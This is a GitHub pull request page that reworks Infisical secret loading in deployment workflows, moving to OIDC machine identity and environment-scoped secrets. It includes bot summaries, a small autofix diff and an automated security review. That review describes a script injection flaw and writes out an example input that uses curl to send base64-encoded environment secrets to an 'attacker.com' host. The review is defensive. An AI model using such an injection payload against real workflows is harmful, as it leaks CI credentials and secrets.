Skip to content

Improve infisical workflow#2206

Open
djeebus wants to merge 4 commits intomainfrom
use-infisical-env-vars
Open

Improve infisical workflow#2206
djeebus wants to merge 4 commits intomainfrom
use-infisical-env-vars

Conversation

@djeebus
Copy link
Copy Markdown
Contributor

@djeebus djeebus commented Mar 23, 2026

This greatly simplifies the flow for adding secrets to our infra deploys.

  • use env vars instead of file, which removes the need to struggle with multiline encoding, makefile include + env var + .env file, etc.
  • use machine identity instead of client id & secret, which removes our need to protect and rotate secrets.
  • add deploy environment to github, which increases visibility of what was deployed where and when.

Backwards compatible - all infisical secrets in the "infra-deployment" project are still processed in the current way, no changes. Any secrets added to the new "infra-deployment-env" project will be added as environment variables directly, with no processing between it and the processes reading them.


Note

Medium Risk
Updates deployment workflows’ secret-loading/authentication path (moving from client secret to OIDC machine identity and changing how env vars are injected), which can break deploys if identity/permissions or project slugs are misconfigured.

Overview
Updates the deploy setup action and related workflows to authenticate to Infisical via OIDC machine identity (dropping client ID/secret), load additional secrets directly into the job environment via a separate Infisical project, and associate each deploy job with the selected GitHub environment for environment-scoped vars/secrets.

Written by Cursor Bugbot for commit 780de28. This will update automatically on new commits. Configure here.

- use env vars instead of file
- use machine identity instead of client id & secret
- add deploy environment to github
Copy link
Copy Markdown

@chatgpt-codex-connector chatgpt-codex-connector bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 41c6f7d422

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

@djeebus djeebus marked this pull request as draft March 23, 2026 21:46
Copy link
Copy Markdown

@cursor cursor bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Cursor Bugbot has reviewed your changes and found 1 potential issue.

Fix All in Cursor

Bugbot Autofix prepared a fix for the issue found in the latest run.

  • ✅ Fixed: Inconsistent Infisical action versions in same composite action
    • Updated the first Infisical secrets action invocation from v1.0.9 to v1.0.15 to match the second invocation and keep behavior consistent.

Create PR

Or push these changes by commenting:

@cursor push bef7de016e
Preview (bef7de016e)
diff --git a/.github/actions/deploy-setup/action.yml b/.github/actions/deploy-setup/action.yml
--- a/.github/actions/deploy-setup/action.yml
+++ b/.github/actions/deploy-setup/action.yml
@@ -16,7 +16,7 @@
   using: "composite"
   steps:
     - name: Pull infisical secrets into temporary file
-      uses: Infisical/secrets-action@v1.0.9
+      uses: Infisical/secrets-action@v1.0.15
       with:
         method: "oidc"
         identity-id: ${{ inputs.infisical_machine_identity_id }}

This Bugbot Autofix run was free. To enable autofix for future PRs, go to the Cursor dashboard.

@ValentaTomas ValentaTomas removed their request for review March 25, 2026 16:24
@djeebus
Copy link
Copy Markdown
Contributor Author

djeebus commented Apr 1, 2026

Waiting on some other PRs and tweaks before we can merge this

@djeebus djeebus marked this pull request as ready for review April 2, 2026 23:07
@cursor
Copy link
Copy Markdown

cursor bot commented Apr 2, 2026

PR Summary

Medium Risk
Medium risk because it changes how deployment workflows authenticate to Infisical and how secrets are injected, which can break deploys or unintentionally expose/miss required variables if identity/environment scoping is misconfigured.

Overview
Updates the deploy composite action and deployment workflows to fetch Infisical secrets via OIDC machine identity (replacing client ID/secret), split secret retrieval between a file used to derive core Terraform/GCP settings and a second Infisical project exported directly as environment variables, and assigns GitHub Actions environment: ${{ inputs.environment }} to deploy/build jobs for better environment-scoped visibility and controls.

Written by Cursor Bugbot for commit 1b66bcd. This will update automatically on new commits. Configure here.

Comment on lines +28 to 31
- name: Transform infisical secrets into make include file, load a few as environment variables
id: load-env
run: |
echo ${{ inputs.environment }} > .last_used_env
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟣 This is a pre-existing script injection issue: ${{ inputs.environment }} is interpolated directly into shell commands before the runner executes them, meaning shell metacharacters in the value would be executed as arbitrary shell. This PR did not introduce the vulnerability (only the step name changed), but the fix is to pass the value through an env: variable and reference it as $ENVIRONMENT in the script.

Extended reasoning...

What the bug is: GitHub Actions evaluates ${{ inputs.environment }} before passing the string to bash. Any shell metacharacters in the value are executed as code, not treated as data. Lines like echo ${{ inputs.environment }} > .last_used_env, the sed redirect to .env.${{ inputs.environment }}, and . .env.${{ inputs.environment }} are all vulnerable.

Specific code path: In .github/actions/deploy-setup/action.yml, the load-env step has a run: block where expressions are evaluated at template-expansion time. GitHub's expression engine substitutes the value literally into the shell script string, then hands the resulting script to bash.

Why existing code doesn't prevent it: There is no quoting, sanitization, or allowlist validation of inputs.environment. Although the input is marked required: true, GitHub Actions does not restrict what characters can be passed via workflow_dispatch.

Step-by-step proof: Suppose a user with write access triggers the workflow with environment set to staging; curl https://attacker.com/?token=$(env|base64). GitHub Actions expands the run block to:

echo staging; curl https://attacker.com/?token=$(env|base64) > .last_used_env

Bash executes both commands, exfiltrating environment variables (including any secrets loaded by prior steps).

Pre-existing nature: Examining the diff, these lines carry no + prefix — they existed before this PR. The only change in this step was renaming it. The PR did not introduce or worsen the injection surface. Three of the four verifiers explicitly classified this as pre_existing.

Practical impact: The attack requires workflow_dispatch write access (trusted collaborators), limiting real-world risk to insider threat or compromised credentials. Still, it violates GitHub's explicit security hardening guidelines.

How to fix: Use an env: block on the step to capture the input, then reference the safe variable in the script:

env:
  ENVIRONMENT: ${{ inputs.environment }}
run: |
  echo "$ENVIRONMENT" > .last_used_env
  cat .env.infisical | sed "s/='\(.*\)'$/=\1/g" > ".env.${ENVIRONMENT}"
  set -a
  . ".env.${ENVIRONMENT}"
  set +a

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants